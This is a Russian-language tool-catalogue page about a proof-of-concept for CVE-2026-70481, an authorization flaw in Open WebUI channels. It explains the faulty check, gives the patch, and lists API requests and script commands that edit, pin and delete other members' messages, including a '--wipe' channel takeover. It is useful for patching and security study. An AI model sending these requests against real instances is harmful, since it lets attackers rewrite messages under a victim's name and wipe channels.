Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-70481 — PoC-эксплойт для уязвимости авторизации в Open WebUI, позволяющий пользователям с низкими привилегиями редактировать и удалять сообщения других участников каналов с помощью специально сформированных API-запросов. | Kitploit
Инструменты/GitHubGitHub/foxer131/cve-2026-70481
Аутентификация и авторизацияАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование безопасности APIВеб-безопасностьТестирование на Проникновение
GitHubfoxer131/cve-2026-70481

CVE-2026-70481

PoC-эксплойт для уязвимости авторизации в Open WebUI, позволяющий пользователям с низкими привилегиями редактировать и удалять сообщения других участников каналов с помощью специально сформированных API-запросов.

Репозиторий
212 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-70481

Open WebUI, затронуты версии с 0.5.0 по 0.10.2, исправлено в 0.11.0. Умеренный уровень, CVSS 5.4, CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L, CWE-284 и CWE-862.

В backend/open_webui/routers/channels.py обработчики обновления и удаления сообщений ветвятся в зависимости от типа канала, и две ветви задают разные вопросы. В групповых каналах и каналах личных сообщений изменения разрешены только автору.

if channel.type in ['group', 'dm']:
    if not await Channels.is_user_channel_member(channel.id, user.id, db=db):
        raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
    # Membership is not authorship — block cross-member edits.
    if user.role != 'admin' and message.user_id != user.id:
        raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
else:
    if (
        user.role != 'admin'
        and message.user_id != user.id
        and not await channel_has_access(user.id, channel, permission='write', strict=False, db=db)
    ):
        raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())

Ветвь стандартного канала ограничивается только правом записи, а право записи — это именно то, что требуется new_message_handler для публикации, поэтому возможность говорить была принята за возможность переписывать и удалять. channel_has_access удовлетворяется как персональным разрешением пользователя, так и публичным, поэтому приватная комната с соавтором уязвима так же, как открытый канал. Форма обновления связывает content, data и meta, а модель никогда не трогает message.user_id, поэтому отредактированное сообщение сохраняет имя исходного автора.

Эксплуатация — три обычных API-вызова с обычной учётной записи с ролью user, не состоящей в группах, которой ничего не принадлежит и которая ничего не создавала.

POST   /api/v1/channels/<id>/messages/<victim_msg>/update
       {"content":"wire the funds to account 000",
        "data":{"attacker_injected":true},
        "meta":{"stored_payload":""}}   ->  200
POST   /api/v1/channels/<id>/messages/<victim_msg>/pin                           ->  200
DELETE /api/v1/channels/<id>/messages/<other_msg>/delete                         ->  200, true

Коммит c609ec411 в версии 0.11.0 разделяет проверку: сначала право записи, затем авторство, как в групповой ветви. Закрепление по замыслу остаётся на уровне права записи.

else:
    if user.role != 'admin' and not await channel_has_access(
        user.id, channel, permission='write', strict=False, db=db
    ):
        raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
    # Write access is not authorship — block cross-member edits.
    if user.role != 'admin' and message.user_id != user.id:
        raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())

Запуск

docker run -d -p 3080:8080 -e WEBUI_SECRET_KEY=devkey -e ENABLE_SIGNUP=true \
  -e DEFAULT_USER_ROLE=user --name open-webui ghcr.io/open-webui/open-webui:0.10.2

python3 prep/lab_setup.py                    # administrator, no attack, writes lab.json
python3 exploit_channel_message_tamper.py    # attacker, plus read-only and group-channel controls
python3 exploit_channel_takeover.py --wipe   # attacker, full channel takeover

Проверено повторно на версии 0.10.2 4 августа 2026 года. Скрипты удаляют сообщения других участников, поэтому направляйте их только на одноразовый локальный экземпляр.

Ссылки

https://github.com/open-webui/open-webui/security/advisories/GHSA-mj5r-jf49-m3w7

https://www.cve.org/CVERecord?id=CVE-2026-70481

https://nvd.nist.gov/vuln/detail/CVE-2026-70481

Скачать инструмент